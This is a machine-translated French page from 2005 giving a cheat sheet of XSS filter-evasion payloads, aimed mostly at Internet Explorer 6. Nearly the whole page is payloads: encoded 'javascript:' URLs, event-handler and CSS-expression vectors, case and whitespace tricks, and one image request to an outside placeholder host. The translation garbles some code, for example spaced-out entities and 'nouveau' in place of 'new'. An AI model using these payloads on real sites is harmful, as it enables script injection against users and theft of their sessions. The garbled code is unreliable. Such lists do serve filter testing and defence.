This page has been robot translated, sorry for typos if any. Original content here.

Fonctions de syntaxe HTML

Créateurs: Algol , zFailure - les dernières modifications 13.06.2005

L'une des principales méthodes de protection des sites contre les vulnérabilités XSS consiste à utiliser divers filtres sur les caractères saisis par l'utilisateur. Cet article décrit les fonctionnalités de syntaxe HTML qui vous permettent de contourner ces filtres.

Il convient de noter que les vulnérabilités XSS dépendent du navigateur. Tous les exemples ci-dessous ont été testés dans IE6. Dans d'autres versions ou dans d'autres navigateurs, les exemples peuvent également ne pas fonctionner. Par exemple, le caractère apostrophe inverse (`) est un délimiteur d'attribut uniquement dans IE. D'autres navigateurs, tels qu'Opera, par exemple, ne considèrent pas ce symbole comme un limiteur.

  • Délimiteurs d'attributs de balises.
    En plus de l'espace, il est autorisé d'utiliser les caractères: barre oblique ( / ), tabulation, saut de ligne. Le séparateur peut être omis si l'accessoire précédent est entre guillemets.
     <image / src = "1.png" / alt = "Indice" / border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
     <image
     src = "1.png"
     alt = "indice"
     border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
    
  • Délimiteurs d'attributs de balises
    Les valeurs sont autorisés à être cités (doubles et simples) également dans les apostrophes, seulement autorisé le général ne limite pas.
     <image src = "" alt = "Mon conseil" border = "0">
     <image src = "" alt = 'Mon indice' border = "0">
     <image src = "" alt = `Mon conseil` border =" 0 ">
     <image src = "" alt = Astuce border = "0">
    
  • Encodages de caractères
    Le déchiffrement des caractères dans un script se produit avant son exécution:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 115 & # 112 & # 112 & # 116 & # 56 & # 97 & # 101 & # 101 & # 114 & # 115 & # 40 & # 39 & # 111 & # 107 & # 41 & # 41>
     <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (uniquement dans l'attribut href )
    
    
  • Limiteurs de littéraux de caractères dans les scripts
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>>
    
  • Certains contournement du filtrage des caractères
      <img src = javascript: i = nouveau / ** / Image (); i.src = 'http: //bla.bla'> (remplace l'espace par / ** /)
    
    
  • Façons d'exécuter des scripts
    Plusieurs façons d’exécuter automatiquement des scripts:
      <script> alerte ('ok') </ script>
     <script src = 1.js> </ script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Actualiser le contenu = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok'))>
     <span style = top: expression (alert ('ok'))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (ne fonctionne qu'une fois) <style type = "text / css"> @import url (javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param nom = url valeur = javascript: alerte ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (uniquement dans IE) <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (exécuté uniquement en cliquant sur le lien) <a href = javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> cliquez sur moi </a> (exécuté uniquement en cliquant sur le lien) <br SIZE = "& {alert ('XSS')} "> (uniquement Netscape 4.x)
    
    
  • Divers protocoles de script, manières de les écrire
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (espaces jusqu'au mot javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <img src = javascript & # 9: alert ()>
     <img src = javascript & # 10: alert ()>
     <img src = javascript & # 13: alert ()>
     <img src = "javascript
     : alert () "> (avant les deux points - caractère de tabulation)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (à l'intérieur du mot javascript - le caractère de tabulation est aussi un retour à la ligne)
     
    
  • Inserts de script dans le style
    Les opérateurs de script dans l'attribut style doivent être divisés par " \; ".
     <hr style = `background: url (javascript: alert ('ok 1') \; alert ('ok 2'))`>
    
  • Tags spéciaux.
      <image src = "1.png" alt = "" border = "0"> (la balise img a également la même image) <texte en clair> (tout ce qui bouge après cette balise sera perçu comme du texte brut - pas HTML) <textarea> (tout ce qui commence à se déplacer après cette balise sera perçu comme du texte brut - pas du tout du HTML) <xml> (tout ce qui commence à se déplacer après que cette balise ne sera pas affichée)
    
    
  • Tableau des codes fréquemment utilisés:

    Symbole Codage décimal 16ème encodage * Encodage de caractères Encodage d'URL
    " & # 34 & # x22; & quot % 22
    ' & # 39 & # x27; % 27
    ` & # 96 & # x60; % 60
    <espace> & # 32 & # x20; +
    <onglet> & # 9 & # x09; % 09
    <retour chariot> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <trait d'union court> & # 173 & # xAD; & timide % AD
    Et & # 38 & # x26; & amp % 26

    * -dans certains cas, vous pouvez omettre le point-virgule (si le caractère est à la fin de la ligne ou si plusieurs caractères de cet encodage sont alignés).

    Voir le lien: http://ha.ckers.org/xss.html
  • Il ne serait pas superflu que vos amis découvrent cette information, partagez l'article avec eux!

    Développer / Réduire Développer / Réduire la fenêtre de commentaires

    Commentaires

    En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de personnes réelles, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans des conditions de liberté d'expression et d'anonymat fournies par Internet non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
    Maintenant tout le monde peut publier des articles.
    Essayez-le d'abord!
    Écrire un article
    Vous aimez ça? Abonnez-vous aux flux RSS,
    être le premier à recevoir des informations
    à propos de tous les événements importants du pays et du monde.
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur: